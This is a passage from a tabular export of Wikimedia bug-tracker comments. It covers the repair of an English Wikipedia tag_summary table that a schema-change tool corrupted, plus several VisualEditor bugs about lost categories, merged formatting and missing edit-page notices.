+> Looking for 500 ""blanking"" tags gives 498 ""blanking"" plus 2 labeled as just
+> ""mobile edit"".
+> 
+> http://en.wikipedia.org/w/api.
+> php?action=query&list=recentchanges&rctag=blanking&rclimit=500&rcprop=user%7C
+> comment%7Ctitle%7Ctags%7Ctimestamp
+
+There are other strange things going on with tags... 
+
+http://en.wikipedia.org/wiki/Wikipedia_talk:Tags#Incorrect_tagging
+
+Not sure if it's related or if we should file a separate bug for incorrect tagging. I think mobile is also suffering from this issue (or was as of yesterday).",,,1374793105,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+237386,tag_summary missing records,"As a follow up, the two problematic tags I note in Comment 16 are both recent.  It is possible they have a different underlying cause than the previous corruption.  For example, this might represent a logic error in how the ""mobile edit"" tag is being recorded.",,,1374065627,,PHID-USER-fuj45iylbizjg3yhehjt,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+237381,tag_summary missing records,"Much better, but I'm still seeing some issues:
+
+Looking for 500 ""blanking"" tags gives 498 ""blanking"" plus 2 labeled as just ""mobile edit"".
+
+http://en.wikipedia.org/w/api.php?action=query&list=recentchanges&rctag=blanking&rclimit=500&rcprop=user%7Ccomment%7Ctitle%7Ctags%7Ctimestamp",,,1374038167,,PHID-USER-fuj45iylbizjg3yhehjt,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,1,0,0
+237376,tag_summary missing records,"(In reply to comment #14)
+> Rebuild #2 of tag_summary has completed and the reports in comment 8 look
+> better (to me). Anyone care to verify...
+
+Appears to work for me, yes. Might be worth waiting for others to weigh-in, but from my POV this is fixed.",,,1374013186,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,True,,,2,,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1
+237372,tag_summary missing records,Rebuild #2 of tag_summary has completed and the reports in comment 8 look better (to me). Anyone care to verify...,,,1374009940,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,2,,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0
+237367,tag_summary missing records,"Btw, change_tag still looks complete to me; the binlog shows no problems there. Should just be the tag_summary rebuild logic at fault.",,,1373998200,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+237364,tag_summary missing records,"As Robert suggested in comment 8, the rebuild process missed some rows where revisions had multiple tags.
+
+The script has been fixed and will run in batches on enwiki today. More info shortly...",,,1373998082,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0
+237358,tag_summary missing records,"Am investigating whether the tag_summary rebuild was conceptually flawed with regard to revisions with multiple tags, or not.
+
+Also dumping enwiki binlogs on a slave (we have a month's worth) and pulling out all change_tag queries. Will reload them offline and join against a copy of change_tag to prove whether it is, in fact, completely intact.",,,1373924036,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,2,,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+237353,tag_summary missing records,"Lowering priority a bit since I don't there is data loss here (the table that was used to recreate the data still exists).
+
+James: Assigning to you to determine the priority for getting around to fixing this data (since it affects VE related data, and you know what metrics are being tracked).",,,1373909518,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+237348,tag_summary missing records,"(In reply to comment #8)
+> A API query of 200 revisions tags as flagged as ""blanking"":
+> While this query returns 200 entries, we find that only 188 of them report as
+> actually having the ""blanking"" tag.
+
+That's still the case today.",,,1373887905,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,0,1,0,1,0,0,1,1,1,0,0,1
+237342,tag_summary missing records,"Sorry to add to what I'm sure was a bit of a hectic day for someone, but I'm still seeing lingering bits of corruption.  Perhaps some sort of edge case that wasn't handled correctly by the rebuild?  99.9% of tags may be okay at this point, but here are some example that still seem to be errors.
+
+A API query of 200 revisions tags as flagged as ""blanking"":
+
+http://en.wikipedia.org/w/api.php?action=query&list=recentchanges&rctag=blanking&rclimit=200&rcprop=user%7Ccomment%7Ctitle%7Ctags%7Ctimestamp|ids&rccontinue=2013-07-12T22:20:40Z|589061595
+
+While this query returns 200 entries, we find that only 188 of them report as actually having the ""blanking"" tag.
+
+The remainder are things like 
+  rcid=""590123889"" timestamp=""2013-07-12T14:30:16Z""
+  <tag>visualeditor</tag>
+  
+  rcid=""590032703"" timestamp=""2013-07-12T00:33:31Z"" 
+  <tag>mobile edit</tag>
+
+Where some other tag is reported but the expected ""blanking"" tag is not reported.
+
+For another example of this issue see the API query for the ""visualeditor-needcheck"" tag:
+
+http://en.wikipedia.org/w/api.php?action=query&list=recentchanges&rctag=visualeditor-needcheck&rclimit=200&rcprop=user%7Ccomment%7Ctitle%7Ctags%7Ctimestamp|ids
+
+This tag should only be applied if the ""visualeditor"" tag is also present, but we observe that most of the results have either ""visualeditor"" or ""visualeditor-needcheck"" but not both.  A few entries even have other tags entirely.
+
+
+What appears to have happened is that rebuild didn't correctly handle cases where a single revision was subject to multiple tags.  Instead it looks as though the rebuilt table applies at most one tag to each of the historical revisions.  Most of the time that's okay since few revisions actually have multiple tags, but it still leaves a bit of corruption and missing data on the rare cases when a revision is expected to have multiple tags.",,,1373677187,,PHID-USER-fuj45iylbizjg3yhehjt,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,1,,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1
+237336,tag_summary missing records,"**swalling** wrote:
+
+Just checked this on-wiki as well. Seems fixed.",,,1373672247,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+237329,tag_summary missing records,enwiki.tag_summary rebuild is complete.,,,1373671971,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+237322,tag_summary missing records,"Firstly, we've determined this problem occurred due to an (apparent) bug in pt-online-schema-change when using a combination of:
+
+- A table without primary key
+- A table with unique indexes that all include nullable columns
+- An unfortunately timed REPLACE statement in normal db traffic
+
+Posc does online table alteration by:
+
+- Creating a copy of the table with altered schema
+- Setting triggers on the original table to keep the copy updated
+- Copying data across using a batch process
+
+In this case, posc set a DELETE trigger on tag_summary using a poor UNIQUE index (ts_log_id) with low cardinality and a nullable field. Then during the batching process, an external REPLACE statement with ts_log_id=NULL caused many too many rows to be deleted in the temporary table being altered. Given that many rows in tag_summary have ts_log_id=NULL, the table was massively reduced in size.
+
+Now to the fix:
+
+We've checked the other wikis and found no problems; only enwiki was affected.
+
+Furthermore, only enwiki.tag_summary was affected. We've verified that enwiki.change_tag is complete and did not suffer the same problem. This was based on:
+
+- Index cardinality and table size information collected before running the schema migration
+- An investigation of the events in the binary log surrounding the migration period
+
+Currently we are rebuilding tag_summary based on change_tag data. That will complete within 30 mins at the time of writing this comment.",,,1373667429,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,1,1,1,0,0,0,1,1,1,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,0,0,0,1,1,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+237314,tag_summary missing records,"(In reply to comment #3)
+> Was it determined if any other databases apart from en.wp's one were
+> affected?
+
+Not sure. The wikis that potentially may have this issue are:
+
++       'arwiki' => true,
++       'commonswiki' => true,
++       'cswiki' => true,
++       'dewiki' => true,
++       'elwiki' => true,
++       'enwiki' => true,
++       'enwikisource' => true,
++       'enwiktionary' => true,
++       'eswiki' => true,
++       'etwiki' => true,
++       'fawiki' => true,
++       'fiwiki' => true,
++       'frwiki' => true,
++       'hewiki' => true,
++       'huwiki' => true,
++       'idwiki' => true,
++       'itwiki' => true,
++       'jawiki' => true,
++       'ltwiki' => true,
++       'mrwiki' => true,
++       'nlwiki' => true,
++       'plwiki' => true,
++       'ptwiki' => true,
++       'rowiki' => true,
++       'ruwiki' => true,
++       'simplewiki' => true,
++       'svwiki' => true,
++       'trwiki' => true,
++       'ukwiki' => true,
++       'zhwiki' => true,
+
+cf bug 40867#c6",,,1373662814,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,1
+237308,tag_summary missing records,Was it determined if any other databases apart from en.wp's one were affected?,,,1373662581,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,True,,,1,,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+237301,tag_summary missing records,"Sean and Asher narrowed this down to a problem with the schema change tool that we use, and are working on a strategy to fix the data.  This looks like it's strictly a db-related problem that once fixed should stay fixed (assuming we don't try another similar schema migration before an upstream fix is made to the migration tool)",,,1373662298,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+237297,tag_summary missing records,"Only seems to affect en.wp right now (works correctly on pl.wp and mw.org, for example).",,,1373656951,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+53235,VisualEditor: Annotated element metadata inside wrapper paragraphs being discarded,"I'm not entirely sure if this is a VE bug or a user bug, but it shows up under the needscheck tag, so presumably the VE knows something is wrong. We have several instances of categories being stripped from articles, including:
+
+*https://en.wikipedia.org/w/index.php?title=2013%E2%80%9314_Juventus_F.C._season&curid=39905874&diff=563942424&oldid=563942210
+*https://en.wikipedia.org/w/index.php?title=A._Dakshinamurthy&curid=16805989&diff=563911982&oldid=563853744
+*https://en.wikipedia.org/w/index.php?title=Body_Party&curid=38681444&diff=563891098&oldid=563879499
+
+In the last 12 hours or so.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1373632740,1373662094.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-sojoibzwruxvdv55tvoj,task_description,resolved,True,c1,3,False,False,True,1,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+236203,VisualEditor: Annotated element metadata inside wrapper paragraphs being discarded,"Change 73404 merged by jenkins-bot:
+Fix annotated element alien metadata inside wrapped paragraph
+
+https://gerrit.wikimedia.org/r/73404",,,1373662141,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sojoibzwruxvdv55tvoj,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+236198,VisualEditor: Annotated element metadata inside wrapper paragraphs being discarded,"Change 73404 had a related patch set uploaded by Esanders:
+Fix annotated element alien metadata inside wrapped paragraph
+
+https://gerrit.wikimedia.org/r/73404",,,1373637959,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sojoibzwruxvdv55tvoj,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+236193,VisualEditor: Annotated element metadata inside wrapper paragraphs being discarded,"Looks like those pages have unclosed big/small annotations, which are wrapping all the content beneath them, including the categories. This is triggering a previously unseen bug in the converter.",,,1373637707,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-sojoibzwruxvdv55tvoj,task_subcomment,,True,c1,3,True,,,1,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0
+53234,VisualEditor: VE/Parsoid (?) merging unnecessary annotations together (''foo''<sub>''bar''</sub> -> ''foo<sub>bar</sub>''),"See https://en.wikipedia.org/w/index.php?title=Hungarian_algorithm&curid=2609001&diff=563951525&oldid=561480423 - another instance at https://en.wikipedia.org/w/index.php?title=Shannon_capacity_of_a_graph&curid=39932177&diff=563933550&oldid=563846095
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1373632620,1373711757.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-vq64xxj3d54xo3daemjh,task_description,resolved,True,c1,3,False,False,True,1,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+236146,VisualEditor: VE/Parsoid (?) merging unnecessary annotations together (''foo''<sub>''bar''</sub> -> ''foo<sub>bar</sub>''),"
+
+*** This bug has been marked as a duplicate of bug 49873 ***",,,1373711757,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vq64xxj3d54xo3daemjh,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+236140,VisualEditor: VE/Parsoid (?) merging unnecessary annotations together (''foo''<sub>''bar''</sub> -> ''foo<sub>bar</sub>''),Also https://en.wikipedia.org/w/index.php?title=Frobenius_solution_to_the_hypergeometric_equation&curid=16407499&diff=563915886&oldid=561013687,,,1373632675,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-vq64xxj3d54xo3daemjh,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+53215,VisualEditor: Protected page warning message should include log entry,"Following on from bug 50415, the old warning/error messages included the most recent & relevant log entry, and a link to view the full log.
+
+That functionality does not exist in the VisualEditor.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50415",High,80.0,1373598840,1395164341.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-toxebubahyyw4rmtx4vj,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,1,0
+235070,VisualEditor: Protected page warning message should include log entry,"Change 119210 merged by jenkins-bot:
+Show last protection log entry and link to full protection log on protection notice
+
+https://gerrit.wikimedia.org/r/119210",,,1395164023,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-toxebubahyyw4rmtx4vj,task_subcomment,,True,c1,3,False,,,37,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+235065,VisualEditor: Protected page warning message should include log entry,"Change 119210 had a related patch set uploaded by Alex Monk:
+Show last protection log entry and link to full protection log on protection notice
+
+https://gerrit.wikimedia.org/r/119210",,,1395094433,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-toxebubahyyw4rmtx4vj,task_subcomment,,True,c1,3,False,,,37,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+53160,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"The source editor transcludes [[MediaWiki:Editpage-head-copy-warn]] above the edit window. But this does not appear anywhere when using the visual editor.
+
+Note this is distinct from [[Mediawiki:Copyrightwarning]] which appears (in a tiny font) in the edit summary tool. The two messages are not the same and do different jobs - the first is a warning that copyrighted content is not acceptable and content must be verifiable, the second is a statement that by saving you release your contributions under cc-by-sa.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",High,80.0,1373533020,1374675988.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_description,declined,True,c1,3,False,False,True,1,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+232197,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"Er. What?
+
+As I've said, VE is an extension. Parsoid is an extension. This page is not /based/ on a MediaWiki namespace page, it is based on a string in the i8on file. To fully deprecate it we'd have to find some way of fully suppressing it or remove it completely from mediawiki. This would impact not only wikis with the VE but also those without.
+
+Moreover, I'm not sure how users receiving less information is, in this case, a problem, because I've never seen any evidence users actually /read/ those notices. I've been patrolling new pages since 2010; if CITE YOUR SOURCES! and the warning not to submit copyrighted content actually worked to inform people, I'd be the first person to hold my hands up and go ""this is awesome and we need to keep it"". They don't.
+
+I'm (again) closing this as a WONTFIX. If people want to dispute that, I welcome an argument made as to how having this message helps - or how silently removing it from every Wikimedia instance of MediaWiki and dealing with the resulting fallout would be an effective use of our time.",,,1374675988,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,3,,1,0,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0
+232194,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"major->minor, so it isnt red anymore.",,,1374650680,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1
+232192,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"The problem doesnt go away because itwp deleted the message.
+
+It still exists in enwp, zhwp, viwp & hrwp, of wikis above 100,000+ pages. (fawp has a commented out notice)  Possibly many more with less pages.
+These messages informed the user about verifiability as well as licensing issues.
+
+But if this message is truly not going to be displayed in VE, and VE is the way of the future, then the message should be deprecated and deleted from those wikis (with community consensus after explaining to them they have no other option :P), otherwise user's of VE receive less information then those of SE, for good or ill.  (in this case this bug should be moved over the core component)",,,1374644987,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,0
+232189,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"(In reply to comment #7)
+> Resolved-Fixed -> Resolved->Invalid.  What the?!
+
+Not a bug in VisualEditor; itwiki had removed the licence information from the, err, licence information message. Oliver fixed it by editing the message to restore the licence warning. No changes to VisualEditor actually happened.
+
